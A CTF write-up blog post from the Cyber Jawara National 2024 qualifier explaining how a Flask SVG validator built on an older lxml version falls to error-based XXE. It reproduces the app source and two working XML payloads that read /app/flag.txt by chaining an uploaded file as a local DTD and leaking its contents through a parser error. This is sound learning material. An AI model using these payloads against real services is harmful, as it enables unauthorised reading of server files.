DJumanto Sec Blog

Cyberjawara National 2024 Quals

Word count: 931Reading time: 5 min
2025/12/11
loading

image

Description

This writeup we made by HCS - Triple D while playing Cyber Jawara National 2024 Quals
Members:

  • daffainfo
  • dmcr
  • DJumanto

SVG Validator

Read local files via error based XXE Injection

Problem Description

Given web applicaton web to validate structure of a SVG. Also given source code below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import hashlib
import os
import random
import requests
import secrets
import string
from flask import Flask, render_template, request, jsonify
from lxml import etree

RECAPTCHA_SECRET_KEY = os.getenv('RECAPTCHA_SECRET_KEY')

app = Flask(__name__)

UPLOAD_FOLDER = '/tmp/'
MAX_FILE_SIZE = 5 * 1024
ALLOWED_EXTENSIONS = {'svg'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def random_filename(extension):
return ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.' + extension

@app.route('/')
def index():
site_key = os.getenv('RECAPTCHA_SITE_KEY')
return render_template('index.html', site_key=site_key)

def is_valid_svg(file_path):
tree = etree.parse(file_path)
root = tree.getroot()
return root.tag.endswith('svg')

@app.route('/upload', methods=['POST'])
def upload_file():
recaptcha_response = request.form.get('g-recaptcha-response')
if not recaptcha_response:
return jsonify({'error': 'Missing reCAPTCHA'}), 400

# Verify reCAPTCHA
recaptcha_verify_url = 'https://www.google.com/recaptcha/api/siteverify'
recaptcha_data = {
'secret': RECAPTCHA_SECRET_KEY,
'response': recaptcha_response
}
recaptcha_response = requests.post(recaptcha_verify_url, data=recaptcha_data)
recaptcha_result = recaptcha_response.json()

if not recaptcha_result.get('success'):
return jsonify({'error': 'Invalid reCAPTCHA'}), 400

if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

if not allowed_file(file.filename):
return jsonify({'error': 'Invalid file extension'}), 400

file_path = ''

try:
extension = file.filename.rsplit('.', 1)[1].lower()

filename = hashlib.sha256(
(file.filename + str(secrets.token_hex)[:16]).encode('utf-8')
).hexdigest() + '.' + extension
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)

valid = is_valid_svg(file_path)
os.remove(file_path)

return jsonify({'valid': valid})
except Exception as e:
return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5557)

As you can see above, this application recieve SVG from user and validate it using lxml library. It only returns only either a boolean result from SVG validation, or error message within the process. We need to verify a few things to know what technique will be used. If we check the lxml version used in the app, it uses lxml==4.9.3, Then if we look into the lxml version in this documentation, the resolve_entities argument by default sets to false only starting from vesion 5.0.0.

LP#1742885: lxml no longer expands external entities (XXE) by default to prevent the security risk of loading arbitrary files and URLs. If this feature is needed, it can be enabled in a backwards compatible way by using a parser with the option resolve_entities=True. The new default is resolve_entities=’internal’.

Indeed we can utilize an External XML Entity Injection attack. But we can’t directly read the output file since it only returns either boolean or error message. Next if we see the is_valid_svg function:

1
2
3
4
def is_valid_svg(file_path):
tree = etree.parse(file_path)
root = tree.getroot()
return root.tag.endswith('svg')

the no_network is not set, default value is true, which means we can’t use OOB technique to import external dtd, limitting our options to error based attack using internal dtd, but how can we do that?

Let’s take a look at this process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try:
extension = file.filename.rsplit('.', 1)[1].lower()

filename = hashlib.sha256(
(file.filename + str(secrets.token_hex)[:16]).encode('utf-8')
).hexdigest() + '.' + extension
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)

valid = is_valid_svg(file_path)
os.remove(file_path)

return jsonify({'valid': valid})
except Exception as e:
return jsonify({'error': str(e)}), 500

Normally, if our SVG file didn’t have any error, the is_valid_svg will returns boolean output and then the app will remove the file. Otherwise, if there’s an error within the process, the app will only return error message, but not removed the SVG. We can utilize this SVG as internal dtd payload that read the flag and trigger error which contains the flag content.

Solution

  1. Create first payload, that contains the arbitrary file read and triggering error:
1
2
<!ENTITY % file SYSTEM "file:///app/flag.txt">
<!ENTITY % huh "<!ENTITY content SYSTEM '%gg;/%file;'>">

this XML contain file, and huh entity. The file entity will import the /app/flag.txt content, and huh entity will containt the content of %gg;/%file. Entity %gg; is not existing, this non-exists entity will trigger an error.
2. Submit the first payload:
image

  1. Create second payload that will import internal dtd:
1
2
3
4
5
<!DOCTYPE svg [ 
<!ENTITY % local_dtd SYSTEM "file:///tmp/fb756b72d004f9b74a0cd26e260bf6b1805d4947f1d9b7880af33aa040723cd0.svg">
%local_dtd;
%huh;
]>

this XML will import internal dtd fb756b72d004f9b74a0cd26e260bf6b1805d4947f1d9b7880af33aa040723cd0.svg

the fb756b72d004f9b74a0cd26e260bf6b1805d4947f1d9b7880af33aa040723cd0.svg hash is the name of the first payload that generated within the validation process

then import the huh entity which will triggers the error mentioned above.

  1. Submit second payload
    image

Flag

CJ{tes_ombak_aja_dulu}

CATALOG
  1. 1. Description
  2. 2. SVG Validator
    1. 2.1. Problem Description
    2. 2.2. Solution
    3. 2.3. Flag